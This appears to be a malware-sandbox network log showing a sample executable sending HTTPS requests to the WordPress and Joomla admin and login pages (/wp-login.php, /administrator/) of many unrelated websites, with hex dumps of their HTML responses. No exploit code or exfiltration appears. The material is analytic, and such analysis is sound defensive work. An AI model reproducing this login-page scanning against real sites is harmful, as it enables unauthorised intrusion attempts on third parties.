2023-11-26 05:59:38 UTC	13086	IN	Data Raw: 33 33 31 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 4d 41 58 20 49 56 3c 2f 74 69 74 Data Ascii: 3316<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="http://gmpg.org/xfn/11"><title>Page not found – MAX IV</tit
2023-11-26 05:59:38 UTC	16322	IN	Data Raw: 33 46 42 41 0d 0a 73 68 65 65 74 27 20 69 64 3d 27 6a 71 75 65 72 79 2d 75 69 2d 73 74 79 6c 65 73 2d 63 73 73 27 20 68 72 65 66 3d 27 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 75 69 2f 31 2e 31 33 2e 31 2f 74 68 65 6d 65 73 2f 62 61 73 65 2f 6a 71 75 65 72 79 2d 75 69 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 61 62 6c 65 70 72 65 73 73 2d 64 65 66 61 75 6c 74 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 74 61 62 6c 65 70 72 65 73 73 2f 63 73 73 2f 62 75 69 6c 64 2f 64 65 66 61 75 6c 74 2e 63 Data Ascii: 3FBAsheet' id='jquery-ui-styles-css' href='//code.jquery.com/ui/1.13.1/themes/base/jquery-ui.css?ver=6.4.1' media='all' /><link rel='stylesheet' id='tablepress-default-css' href='https://www.maxiv.lu.se/wp-content/plugins/tablepress/css/build/default.c
2023-11-26 05:59:38 UTC	16312	IN	Data Raw: 33 46 42 30 0d 0a 32 2e 38 34 2d 33 34 2e 35 31 20 37 32 2e 34 35 2d 31 2e 34 32 20 31 2e 34 35 2d 32 2e 38 37 20 32 2e 38 39 2d 34 2e 33 35 20 34 2e 33 34 2d 31 39 2e 36 2d 31 36 2e 34 32 2d 34 32 2e 34 31 2d 33 32 2e 33 36 2d 36 37 2e 34 38 2d 34 37 2e 31 39 7a 22 2f 3e 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 34 35 30 22 20 72 3d 22 32 35 22 2f 3e 3c 2f 67 3e 3c 2f 73 79 6d 62 6f 6c 3e 3c 73 79 6d 62 6f 6c 20 69 64 3d 22 74 77 69 74 74 65 72 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 32 33 2e 39 35 34 20 34 2e 35 36 39 61 31 30 20 31 30 20 30 20 30 20 31 2d 32 2e 38 32 35 2e 37 37 35 20 34 2e 39 35 38 20 34 2e 39 35 38 20 30 20 30 20 30 20 32 2e 31 36 33 2d 32 2e 37 32 33 63 2d Data Ascii: 3FB02.84-34.51 72.45-1.42 1.45-2.87 2.89-4.35 4.34-19.6-16.42-42.41-32.36-67.48-47.19z"/><circle cx="501" cy="450" r="25"/></g></symbol><symbol id="twitter" viewBox="0 0 24 24"><path d="M23.954 4.569a10 10 0 0 1-2.825.775 4.958 4.958 0 0 0 2.163-2.723c-
2023-11-26 05:59:38 UTC	30	IN	Data Raw: 34 32 0d 0a 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 20 66 6f 72 20 75 73 65 72 73 3c 2f Data Ascii: 42y requirements for users</
2023-11-26 05:59:38 UTC	42	IN	Data Raw: 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 0d 0a Data Ascii: a></li><li class='menu-item menu-item-ty
2023-11-26 05:59:38 UTC	16270	IN	Data Raw: 33 46 38 36 0d 0a 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 33 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 75 73 65 72 2d 61 63 63 65 73 73 2f 73 61 66 65 74 79 2f 69 6e 2d 63 61 73 65 2d 6f 66 2d 65 6d 65 72 67 65 6e 63 79 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 49 6e 20 63 61 73 65 20 6f 66 20 65 6d 65 72 67 65 6e 63 79 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d Data Ascii: 3F86pe-post_type menu-item-object-page item-depth-3'><a href="https://www.maxiv.lu.se/user-access/safety/in-case-of-emergency/" class="menu-item-label">In case of emergency</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page item
2023-11-26 05:59:38 UTC	16120	IN	Data Raw: 33 45 46 30 0d 0a 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 72 65 6d 6f 76 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 6c 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 62 6c 6f 63 68 2f Data Ascii: 3EF0idden="true"><span class="material-icons-sharp">remove</span></span><ul><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth-4'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/bloch/
2023-11-26 05:59:38 UTC	206	IN	Data Raw: 43 38 0d 0a 2d 74 6f 67 67 6c 65 72 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 72 65 6d 6f 76 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 6c 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 35 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 0d 0a Data Ascii: C8-toggler d-none minus-icon" aria-hidden="true"><span class="material-icons-sharp">remove</span></span><ul><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-5'><a href="htt
2023-11-26 05:59:38 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 66 6c 65 78 70 65 73 2f 62 65 61 6d 6c 69 6e 65 2d 6f 70 74 69 63 73 2f 78 2d 72 61 79 2d 73 6f 75 72 63 65 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 58 2d 72 61 79 20 73 6f 75 72 63 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 Data Ascii: 3FB8ps://www.maxiv.lu.se/beamlines-accelerators/beamlines/flexpes/beamline-optics/x-ray-source/" class="menu-item-label">X-ray source</a></li></ul></li><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	59417	34.208.26.152	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	230	OUT	GET /administrator/ HTTP/1.1 Host: micro-design.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://micro-design.com/administrator/
2023-11-26 05:59:38 UTC	383	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 37 2e 34 2e 31 35 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 6d 69 63 72 6f 2d 64 65 73 69 67 6e 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: ApacheX-Powered-By: PHP/7.4.15Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://micro-design.com/wp-json/>; rel="https://api
2023-11-26 05:59:38 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:38 UTC	8192	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 77 69 6e Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><meta name='robots' content='noindex, follow' /><script>win
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:38 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:38 UTC	8192	IN	Data Raw: 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 32 32 32 32 32 32 32 32 32 32 32 32 32 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 36 36 36 36 36 36 36 36 36 36 36 37 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 65 6d 3b 7d 68 33 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 38 38 38 38 38 38 38 38 38 38 38 39 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 65 6d 3b 7d 68 34 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 Data Ascii: ntent h1{font-size:40px;font-size:2.2222222222222rem;line-height:1.4em;}h2,.entry-content h2{font-size:30px;font-size:1.6666666666667rem;line-height:1.25em;}h3,.entry-content h3{font-size:25px;font-size:1.3888888888889rem;line-height:1.2em;}h4,.entry-cont
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:38 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:38 UTC	8192	IN	Data Raw: 2e 35 65 6d 20 31 2e 35 65 6d 3b 6d 61 72 67 69 6e 3a 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 20 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 2d 63 6f 6e 74 65 6e 74 20 2e 63 61 72 74 5f 69 74 65 6d 2e 65 64 64 5f 63 68 65 63 6b 6f 75 74 20 7b 70 61 64 64 69 6e 67 3a 20 31 65 6d 20 31 2e 35 65 6d 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 3b 7d 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 20 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 20 3e 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 Data Ascii: .5em 1.5em;margin: 0;text-align: center;}.astra-cart-drawer .astra-cart-drawer-content .cart_item.edd_checkout {padding: 1em 1.5em 0;text-align: center;margin-top: 0;}.astra-cart-drawer .widget_shopping_cart_content > .woocommerce-mini-cart__empty-message
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	59341	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	291	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Fhimontessori.com%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://himontessori.com/wp-login.php
2023-11-26 05:59:37 UTC	162	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 38 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 409 ConflictDate: Sun, 26 Nov 2023 05:59:37 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:37 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.4	59271	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	236	OUT	GET /administrator/ HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.ceuandalucia.es/administrator/
2023-11-26 05:59:38 UTC	461	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.ceuandalucia.es/wp-json/>; rel
2023-11-26 05:59:38 UTC	6	IN	Data Raw: 32 33 30 34 0d 0a Data Ascii: 2304
2023-11-26 05:59:38 UTC	4773	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 20 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 68 74 6d 6c 2d 6c 6f 61 64 69 6e 67 20 77 66 2d 61 63 74 69 76 65 20 69 65 20 6f 6c 64 2d 62 72 6f 77 73 65 72 20 6c 74 2d 69 65 31 30 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 20 6c 74 2d 69 65 37 20 72 65 73 70 6f 6e 73 69 76 65 22 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 6d 73 63 6f 70 65 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js html-loading wf-active ie old-browser lt-ie10 lt-ie9 lt-ie8 lt-ie7 responsive" itemscope="itemscope" itemtype="http://schema.org/WebPage" lang="es" xmlns:og="http://opengraphprotocol.org/schema/"
2023-11-26 05:59:38 UTC	4191	IN	Data Raw: 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 68 65 69 67 68 74 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 77 69 64 74 68 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 2e 30 37 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2d 30 2e 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 61 63 6b Data Ascii: <style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em !important;back
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:38 UTC	6	IN	Data Raw: 32 37 66 63 0d 0a Data Ascii: 27fc
2023-11-26 05:59:38 UTC	5939	IN	Data Raw: 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6e 65 77 73 6c 65 74 74 65 72 2d 73 75 62 73 63 72 69 70 74 69 6f 6e 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 6e 65 77 73 6c 65 74 74 65 72 2f 73 75 62 73 63 72 69 70 74 69 6f 6e 2f 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 35 2e 31 2e 38 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6d 6f 6f 76 65 5f 67 64 70 72 5f 66 72 6f 6e 74 65 6e 64 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f Data Ascii: <link rel='stylesheet' id='newsletter-subscription-css' href='https://www.ceuandalucia.es/wp/wp-content/plugins/newsletter/subscription/style.css?ver=5.1.8' type='text/css' media='all' /><link rel='stylesheet' id='moove_gdpr_frontend-css' href='https:/
2023-11-26 05:59:38 UTC	4297	IN	Data Raw: 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 68 65 6d 65 2d 62 6f 6f 74 73 74 72 61 70 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 6e 76 69 73 69 6f 6e 2f 6c 69 62 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 3f 76 65 72 3d 32 2e 30 2e 39 2e 33 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 68 65 6d 65 2d 63 68 69 6c 64 2d 66 72 6f 6e 74 65 6e 64 2d 73 74 79 6c 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 Data Ascii: <link rel='stylesheet' id='theme-bootstrap-css' href='https://www.ceuandalucia.es/wp/wp-content/themes/envision/lib/css/bootstrap.css?ver=2.0.9.3' type='text/css' media='all' /><link rel='stylesheet' id='theme-child-frontend-style-css' href='https://ww
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:38 UTC	6	IN	Data Raw: 35 62 66 35 0d 0a Data Ascii: 5bf5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.4	59748	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	174	OUT	GET /wp-login.php HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
